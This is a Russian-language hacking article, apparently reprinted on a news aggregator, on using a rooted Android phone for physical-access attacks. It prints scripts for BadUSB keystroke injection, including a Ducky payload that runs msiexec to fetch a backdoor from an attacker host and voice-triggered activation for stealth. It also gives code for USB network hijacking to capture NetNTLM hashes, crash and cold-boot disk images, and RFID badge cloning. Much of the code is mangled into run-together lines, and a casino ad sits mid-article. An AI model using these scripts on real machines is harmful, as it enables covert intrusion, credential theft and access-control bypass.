Категория > Новости > Продвинутый киберфон. Заряжаем телефон хакерской силой - «Новости»

Продвинутый киберфон. Заряжаем телефон хакерской силой - «Новости»


16-06-2023, 00:00. Автор: Ross
Ки­бер­фон. Прев­раща­ем телефон на Android в инс­тру­мент хакера». Она завер­шает цикл пуб­ликаций о прак­тичес­ких при­емах взло­ма и атак с исполь­зовани­ем под­ручных устрой­ств, которые мож­но соб­рать дома. В этих матери­алах мы рас­кры­ваем прос­тые спо­собы получе­ния несан­кци­они­рован­ного дос­тупа к защищен­ной информа­ции и показы­ваем, как ее огра­дить от подоб­ных атак.

warning


Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.



В статье «Ки­бер­фон. Прев­раща­ем телефон на Android в инс­тру­мент хакера» был показан прос­той и уни­вер­саль­ный спо­соб соз­дания GNU-окру­жения — базы для хакер­ско­го инс­тру­мен­тария. Мы рас­смот­рели прин­цип сбор­ки драй­веров пря­мо на устрой­стве, а так­же орга­низо­вали вза­имо­дей­ствие Android с GNU. Затем я про­демонс­три­ровал часть хакер­ских воз­можнос­тей сов­ремен­ного смар­тфо­на. Это были самые опас­ные и рас­простра­нен­ные век­торы нападе­ния с исполь­зовани­ем ради­ока­нала. Давай взгля­нем, на что спо­собен телефон при непос­редс­твен­ном физичес­ком дос­тупе к ата­куемо­му устрой­ству.


 

BadUSB


Читайте также - Официальный сайт Гизбо Казино - это лицензионные игровые автоматы, слоты, ставки на спорт, а также выгодные предложения. Начинай играть в игровые автоматы на лучших официальных casino online с бонусом.

Сов­ремен­ные Android-устрой­ства име­ют из короб­ки богатую под­дер­жку эму­ляции USB. Нап­ример, при под­клю­чении к компь­юте­ру телефон обыч­но спра­шива­ет, как он может быть опре­делен — как сетевое устрой­ство, съем­ный диск или ина­че. Все это эму­ляция через так называ­емые USB-гад­жеты. Ты можешь самос­тоятель­но изу­чить, какие гад­жеты уже реали­зова­ны в тво­ем текущем ядре, с помощью мобиль­ного при­ложе­ния USB Gadget Tool (net.tjado.usbgadget). Сре­ди них навер­няка есть под­дер­жка гад­жетов для всех воз­можных BadUSB-атак.


 

BadUSB-hid


С телефо­на мож­но без тру­да ими­тиро­вать кла­виату­ру и выпол­нить про­изволь­ные коман­ды с помощью авто­мати­чес­кого вво­да — эта ата­ка была опи­сана в статье «Очень пло­хая флеш­ка. Раз­бира­ем ата­ку BadUSB в деталях». Нам пот­ребу­ется USB-фун­кция hid.keyboard, а сле­дующи­ми незамыс­ловаты­ми коман­дами ата­кующий может вклю­чить в телефо­не спря­тан­ные воз­можнос­ти эму­ляции кла­виату­ры:


badusb/hid/start.sh
if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; ficat <<EEsudo bashcd /sys/kernel/config/usb_gadget/g1/mkdir -p functions/hid.keyboardcd functions/hid.keyboard/echo protocolecho subclassecho report_lengthecho -ne 'x05x01x09x06xa1x01x05x07x19xe0x29xe7x15x00x25x01x75x01x95x08x81x02x95x01x75x08x81x03x95x05x75x01x05x08x19x01x29x05x91x02x95x01x75x03x91x03x95x06x75x08x15x00x25x65x05x07x19x00x29x65x81x00xc0' report_desccd -ln -s functions/hid.keyboard configs/b.1/hid.keyboardecho "" UDCecho `ls -1 /sys/class/udc/ head -1` UDCssh -i ~/id_rsa-local -p 8022 lo "su -c 'setprop sys.usb.config rndis,none,adb'"while sleep 1; do chmod 666 /dev/hidg0 2> /dev/null &break; doneEE

В резуль­тате телефон может стать USB-кла­виату­рой. Акти­виру­ет нажатия кла­виату­ры такой скрипт:


badusb/hid/keystrokes.sh
[[ $# -eq 1 ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.txt')python2 ./ducky/duckhunter.py -l us "$ducky"/tmp/rubber_ducky.sh
cat/tmp/rubber_ducky.sh
PATH="$PATH:."bash /tmp/rubber_ducky.sh
rm/tmp/rubber_ducky.sh

В слу­чае с телефо­ном ата­ка BadUSB-hid может выг­лядеть даже менее подоз­ритель­но, чем с флеш­кой. Ведь если флеш­ку вста­вит в комп далеко не каж­дый, то зарядить телефон мож­но поч­ти у кого угод­но.


Те­лефон на заряд­ке нажима­ет кла­виши, запус­кающие коман­ду ска­чива­ния и запус­ка бэк­дора

Это отличный соци­аль­ный век­тор ата­ки. Забав­но, но воп­реки обще­му мне­нию получа­ется, что телефо­ном взло­мать комп куда про­ще, чем компь­юте­ром взло­мать телефон.


Для незамет­ности зло­умыш­ленник может акти­виро­вать ата­ку не сра­зу в момент под­клю­чения, а спус­тя какое‑то вре­мя:


sleep 60;badusb/hid/start.sh;badusb/hid/keystrokes.sh

У сов­ремен­ного телефо­на мно­жес­тво дат­чиков, и триг­гером к ата­ке может стать что угод­но — осве­щение, виб­рация, дви­жение телефо­на или даже голосо­вая коман­да:


while [~/android/listen.sh != "run" ]; do false; done;badusb/hid/keystrokes.sh ducky.txt

android/listen.sh
#!/bin/bash
ssh -i~/id_rsa-local -p8022 localhost "termux-speech-to-text"

Син­таксис ducky-скрип­тов пол­ностью иден­тичен опи­сан­ному в статье про BadUSB-флеш­ку и про ее бес­про­вод­ной ана­лог — Mousejack. Самое опас­ное, что может быть наб­рано на кла­виату­ре, — это, нап­ример, такой код:


badusb/hid/ducky.txt
GUI r
DELAY 500
STRING msiexec /https://en.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER

SHIFT ALT
DELAY 300
SHIFT CTRL
DELAY 300

GUI r
DELAY 500
STRING msiexec /https://ru.badusb.attacker.tk/1.msi /quiet
DELAY 300
ENTER

Те­лефон зло­умыш­ленни­ка покор­но заряжа­ется от компь­юте­ра жер­твы, но, как толь­ко он услы­шит коман­ду run, сра­баты­вает ата­ка, и компь­ютер ока­зыва­ется ском­про­мети­рован­ным за секун­ду. Зло­умыш­ленник может даже уда­лен­но ини­цииро­вать ата­ку, под­клю­чив­шись к телефо­ну по VPN, исполь­зуя 4G и запус­тив сце­нарий keystrokes.sh на телефо­не.


Так как ими­тиру­ется кла­виату­ра, то через /dev/hidg0 мож­но выпол­нять обыч­ный инте­рак­тивный набор тек­ста пря­мо на вир­туаль­ной кла­виату­ре телефо­на:


badusb/hid/keyboard.sh
while read -nbyte
dopython2 ducky/keyseed.py "$byte"| ./hid-keyboard /dev/hidg0 keyboard 2> /dev/null
echo "$byte"xxd grep -q '1b' && breakdone

А через /dev/hidg1 мож­но управлять и мыш­кой:


badusb/hid/mouse.py
#!/usr/bin/python3

import curses
from os import system

def main(stdscr):
 curses.curs_set(0)
 curses.mousemask(1)
 while True:
 key = stdscr.getch()
 if key == curses.KEY_MOUSE:
try:
_, x, y, _, _ = curses.getmouse()
system("echo {x} {y} | ./hid-keyboard /dev/hidg1 mouse".format(x=x, y=y))
stdscr.addstr(0, 0, "{x} {y} ".format(x=x, y=y)); stdscr.refresh()
except:
pass
 elif key == ord("l"):
system("echo --b1 | ./hid-keyboard /dev/hidg1 mouse")
stdscr.addstr(0, 0, "left click "); stdscr.refresh()
 elif key == ord("r"):
system("echo --b2 | ./hid-keyboard /dev/hidg1 mouse")
stdscr.addstr(0, 0, "right click"); stdscr.refresh()
 elif key == 0x1b:
break

curses.wrapper(main)

На­жатия по кон­соли в псев­догра­фичес­ком режиме исполь­зуют­ся, что­бы передать дви­жения кур­сора на компь­ютер.


 

BadUSB-ETH


Ата­ку BadUSB-ETH, поз­воля­ющую перех­ватить сетевой тра­фик (смот­ри статью «Злая сетеву­ха. Раз­бира­ем в деталях ата­ку BadUSB-ETH»), тоже мож­но про­вес­ти с телефо­на. Для это­го его нуж­но слег­ка нас­тро­ить:


badusb/eth/start.sh
if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; ficd/sys/kernel/config/usb_gadget/g1
echo 0xff88|sudo tee idProduct
echo 0x2717|sudo tee idVendor
echo 549839c4 sudo tee strings/0x409/serialnumber
echo rndis_adb sudo tee configs/b.1/strings/0x409/configuration
sudo ln -sfunctions/gsi.rndis configs/b.1/f2
echo "" | sudo tee UDC
echo `ls -1/sys/class/udc/ head -1` | sudo tee UDC
ssh -i~/id_rsa-local -p8022 lo "su -c 'setprop sys.usb.config rndis,none,adb'"cd -
sleep 1
sudo ifconfig rndis0 up
sudo dnsmasq --conf-file=dnsmasq-attack.conf -p0sudo tcpdump -irndis0 -nn -c 1 waiting connectionsleep 1
read iface table <<< $(ip show table all|grep default|grep -vdummy|cut -d ' -f 5,7)echo "forward to $iface($table)"sudo ifconfig rndis0 up
sudo ip add 192.168.42.1/24 broadcast 192.168.42.255 dev rndis0
sudo ip add 192.168.42.0/24 dev rndis0 table 97
sudo ip rule add to 192.168.42.0/24 lookup 97
#sudo ip rule add from all iif lo oif rndis0 lookup 97sudo ip rule add from all iif rndis0 lookup $tablesudo sysctl -wnet.ipv4.ip_forward=1
sudo iptables -t nat -Atetherctrl_nat_POSTROUTING -o $iface -s0.0.0.0/-d0.0.0.0/-jMASQUERADE
sudo iptables -Dtetherctrl_FORWARD -s0.0.0.0/-d0.0.0.0/-jDROP
sudo tcpdump -irndis0 -nn

В пер­вом бло­ке скрип­та акти­виру­ется эму­ляция сетевой кар­ты по USB. Она, кста­ти, может уже при­сутс­тво­вать по умол­чанию или быть дос­тупна через обыч­ные нас­трой­ки телефо­на: «Нас­трой­ки → Для раз­работ­чиков → Кон­фигура­ция USB по умол­чанию: USB-модем».


Во вто­ром бло­ке скрип­та запус­кает­ся кас­томный DHCP-сер­вер, который перек­рыва­ет сетевые мар­шру­ты жер­твы и нап­равля­ет весь ее тра­фик в телефон ата­кующе­го.


Так как при под­клю­чении телефо­на ОС Android не в сос­тоянии запус­тить свой DHCP-сер­вер, нас­трой­ка интерфей­са может прер­вать­ся. Поэто­му нуж­но докон­фигури­ровать его самос­тоятель­но, и имен­но это дела­ется в треть­ем бло­ке скрип­та.


Скрипт дол­жен быть запущен перед под­клю­чени­ем телефо­на к заб­локиро­ван­ному компь­юте­ру, что­бы интерфейс rndis0 на телефо­не пра­виль­но скон­фигури­ровал­ся. Если все сде­лано вер­но, то комп, к которо­му под­клю­чен телефон, так­же авто­мати­чес­ки скон­фигури­рует уже свой сетевой интерфейс. Далее ата­куемый компь­ютер отправ­ляет весь свой тра­фик в телефон, в том чис­ле и Wi-Fi, и Ethernet (если они есть). Ведь мар­шру­ты дей­ству­ющих сетевых интерфей­сов ока­зались перек­рыты USB-сетью.


Да­лее запус­кают­ся уже непос­редс­твен­но все ата­ки:


badusb/eth/attack.sh
GREEN=$'x1b[32m'RESET=$'x1b[39m'#~/gui.shfor script in $(find on_network/-type f -perm -u+x)doexec sudo $scriptrndis0 poisontap &
donewhile echo -n '.'doif [ $(arp -an | sed -rn 's/? (([^)]+)) .*[ether] on rndis0/1/p' | wc -l) -ne 0 ] thenbreakfisleep 1
donearp -an | sed -rn 's/? (([^)]+)) .*[ether] on rndis0/1/p' | while read ip
doecho $GREEN "client detected" $RESET for script in $(find on_client/-type f -perm -u+x) doexec sudo $script $ip ""192.168.42.1 &
donedone

В пер­вом цик­ле запус­кают­ся ата­ки on_network, уни­вер­саль­ные для всех кли­ентов. Во вто­ром ожи­дает­ся появ­ление IP-адре­са кли­ента (целево­го устрой­ства), а в треть­ем — запуск на него всех on_client-атак: чекеры уяз­вимос­тей, брут­форсе­ры, сбор дан­ных и так далее. В этом слу­чае, бла­года­ря дис­плею телефо­на, ата­кующий видит боль­ше информа­ции о ходе про­цес­са.


Те­лефон соз­дает Ethernet-сеть с заб­локиро­ван­ным ноут­буком, перек­рыва­ет дру­гие сети и перех­ватыва­ет хеш пароля

Та­ким спо­собом впол­не реаль­но стя­нуть NetNTLM-хеш. Если его сбру­тить (что тоже дос­тижимо), то удас­тся обой­ти бло­киров­ку устрой­ства. Если это домен­ный комп, то такой хеш мож­но нап­равить на LDAP кон­трол­лера домена и, изме­нив опре­делен­ные свой­ства учет­ки, так­же обой­ти аутен­тифика­цию. Воз­можно, ата­кующе­му повезет и удас­тся сра­зу выпол­нить про­изволь­ный код через какую‑нибудь уяз­вимость или подоб­ранный пароль, а затем акти­виро­вать бэк­дор. И все это толь­ко с помощью телефо­на!


 

BadUSB-HDD


По­мимо устрой­ств вво­да (hid) и сетевых карт (eth), Android-телефон (вер­нее, ядро Linux) уме­ет эму­лиро­вать еще и носите­ли дан­ных — жес­ткие дис­ки и CD-при­воды.


BadUSB-HDD — это под­вид BadUSB-атак, который зак­люча­ется в воз­можнос­ти сымити­ровать заг­рузоч­ное устрой­ство при перезаг­рузке и выпол­нить там про­изволь­ный код. Одна­ко воз­можность эму­ляции дис­ка может быть полез­на и для дру­гих целей.


В качес­тве дис­ка исполь­зует­ся обыч­ный файл‑образ. Его содер­жимое — это пос­ледова­тель­ность бай­тов. Все, что записа­но в фай­ле, находит­ся на дис­ке. Сле­дующий скрипт по выбору может ими­тиро­вать такие заранее под­готов­ленные дис­ки:


badusb/hdd/start.sh
[[ $# -ge 1 ]] && disk="$1" || read -p 'disk image (empty=0, vuln_ntfs=1, coldboot=2, kali=3): 'disk
[[ $# -ge 2 ]] && ro="$1"case "$disk" in0) disk='empty.img'; ro=0 ;; 1) disk='vuln_ntfs.img'; ro=1 ;; 2) disk='coldboot.img'; ro=0 ;; 3) disk='kali.img'; ro=0 ;;esacdisk="$(pwd)/$disk"if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; ficat <<EEsudo bashcd /sys/kernel/config/usb_gadget/g1echo "$rofunctions/mass_storage.0/lun.0/roecho '1' functions/mass_storage.0/lun.0/removableecho "$diskfunctions/mass_storage.0/lun.0/fileEEsleep 1
ssh -i~/id_rsa-local -p8022 lo "su -c 'setprop sys.usb.config mass_storage,adb'"

При­меча­тель­но, что мож­но сымити­ровать и readonly-носите­ли так, что­бы ОС или анти­вирус ничего не уда­лили. Оста­нав­лива­ет эму­ляцию дис­ка сле­дующий скрипт:


badusb/hdd/stop.sh
#!/bin/bash

if ! grep -qconfigfs /proc/mounts; then sudo mount -tconfigfs none /sys/kernel/config; fi

cat <<EEsudo bash
cd /sys/kernel/config/usb_gadget/g1
echo '' functions/mass_storage.0/lun.0/file
EE
sleep 1
ssh -i~/id_rsa-local -p8022 lo "su -c 'setprop sys.usb.config none,adb'"

Каж­дый образ дис­ка может исполь­зовать свой сце­нарий ата­ки, нап­ример:




  • empty.img. При под­клю­чении эму­лиру­ется пус­той диск. На него мож­но ско­пиро­вать все, что угод­но. Файл обра­за дис­ка на телефо­не мож­но зашиф­ровать и таким обра­зом спря­тать похищен­ную информа­цию;


  • vuln_ntfs.img. Windows при под­клю­чении спе­циаль­ным обра­зом пов­режден­ной фай­ловой сис­темой может упасть в BSOD. Если перед зло­умыш­ленни­ком некий информа­цион­ный тер­минал, то это прос­той сце­нарий отка­за в обслу­жива­нии. Если же перед ним заб­локиро­ван­ный комп, на котором таким обра­зом был выз­ван BSOD, зна­чит, пос­ле это­го он вый­дет на перезаг­рузку, воз­можно — с сох­ранен­ными в RAM дан­ными. И тут мож­но перей­ти к сле­дующе­му сце­нарию;


  • coldboot.img. Метод, уже опи­сан­ный в статье «Cold boot attack. Дам­пим опе­ратив­ную память с помощью флеш­ки». С телефо­на ата­кующий может сдам­пить опе­ратив­ную память в файл это­го же обра­за;


  • kali.img. Если перед ата­кующим комп, к которо­му у него име­ется пол­ный физичес­кий дос­туп, и ничего, кро­ме телефо­на, под рукой нет — он может эму­лиро­вать заг­рузоч­ный диск Kali Linux (или чего‑то подоб­ного), перезаг­рузить­ся с него и начать раз­витие даль­нейших атак. Так зло­умыш­ленник обой­дет и орга­низа­цион­ный кон­троль, ведь у него толь­ко телефон, и тех­ничес­кий — анти­виру­сы оста­лись на дру­гой ОС.


На рисун­ке ниже показа­но, как под­клю­чен­ный к компь­юте­ру по USB телефон эму­лиру­ет диск с пов­режден­ной фай­ловой сис­темой, при­водя­щей к BSOD.


Эму­ляция жес­тко­го дис­ка по USB с пов­режден­ной фай­ловой сис­темой

Ава­рий­но перезаг­ружен­ный таким обра­зом компь­ютер может уйти на перезаг­рузку с незатер­тыми дан­ными в RAM. Телефон же в этот момент может эму­лиро­вать по USB дру­гой диск — coldboot.img — и выпол­нить ата­ку Cold Boot.


 

Proxmark


Тех­нологии RFID (125 кГц) и NFC (13,56 МГц) при­меня­ются пов­семес­тно для бес­контак­тной иден­тифика­ции и пре­одо­ления тур­никетов на заводах, вход­ных две­рей кабине­тов, подъ­ездов и так далее.


RFID и NFC лег­ко спу­тать. На вид они сла­бо отли­чимы. Есть пара лай­фха­ков, поз­воля­ющих быс­тро понять, какой тип бес­контак­тной тех­нологии перед вами. Сов­ремен­ные телефо­ны снаб­жены NFC и не исполь­зуют RFID, поэто­му если твой телефон сре­аги­ровал на под­несен­ную мет­ку, зна­чит, это NFC. Дру­гой спо­соб — визу­аль­ный, с исполь­зовани­ем фонари­ка.


Оп­ределя­ем тип бес­контак­тной кар­ты обыч­ным фонари­ком

Ес­ли прос­вечива­ется круг­лая антенна — это обыч­но RFID, пря­моуголь­ная — NFC. Но воз­можны и час­тные слу­чаи. Эти две тех­нологии мож­но встре­тить при­мер­но с рав­ной веро­ятностью. Авто­мати­зиро­ван­ные сис­темы кон­тро­ля и управле­ния дос­тупом в биз­нес‑цен­трах и на пред­при­ятиях чаще работа­ют на RFID, в то вре­мя как в гос­тиницах и оте­лях — поч­ти всег­да на NFC. Так­же кар­ты опла­ты, вклю­чая и бан­ков­ские, работа­ют на осно­ве тех­нологии NFC, но они исполь­зуют нем­ного иной прин­цип, поэто­му рас­смат­ривать их не будем.


Обе тех­нологии при­меня­ют бес­контак­тный метод ком­муника­ции ближ­него поля, ког­да RFID/NFC-чип вклю­чает­ся и работа­ет бла­года­ря элек­тро­маг­нитной энер­гии на малых рас­сто­яниях (поряд­ка нес­коль­ких сан­тимет­ров).


Ата­ки на RFID и NFC чаще все­го свя­заны с бес­контак­тным кло­ниро­вани­ем и пос­леду­ющим пов­торным исполь­зовани­ем. Ата­ку мож­но про­водить в сочета­нии с устрой­ством Proxmark. Для его работы тре­бует­ся соб­рать драй­вер:


CONFIG_USB_ACM=m
make modules M=drivers/usb/class
sudo modprobe cdc-acm

Так­же нуж­но соб­рать соот­ветс­тву­ющий инс­тру­мент с ана­логич­ным име­нем:


git clone https://github.com/Proxmark/proxmark3
cd proxmark3;make
 

RFID


RFID — тех­нология бес­контак­тной иден­тифика­ции, по сути ради­омет­ка, чаще все­го содер­жащая 5 байт. Эта тех­нология никак не защище­на от несан­кци­они­рован­ного чте­ния и может быть без тру­да кло­ниро­вана. RFID мож­но срав­нить с QR-кодом, который лег­ко сфо­тог­рафиро­вать и исполь­зовать пов­торно, с той лишь раз­ницей, что здесь не опти­чес­кий канал счи­тыва­ния, а радио-.


Для кло­ниро­вания мет­ки или, нап­ример, про­пус­ка тре­бует­ся про­читать и эму­лиро­вать дан­ные:


rfid/clone.sh
./read.sh while read tag
do echo "$tag" ./emulate.sh "$tag"done

Перейти обратно к новости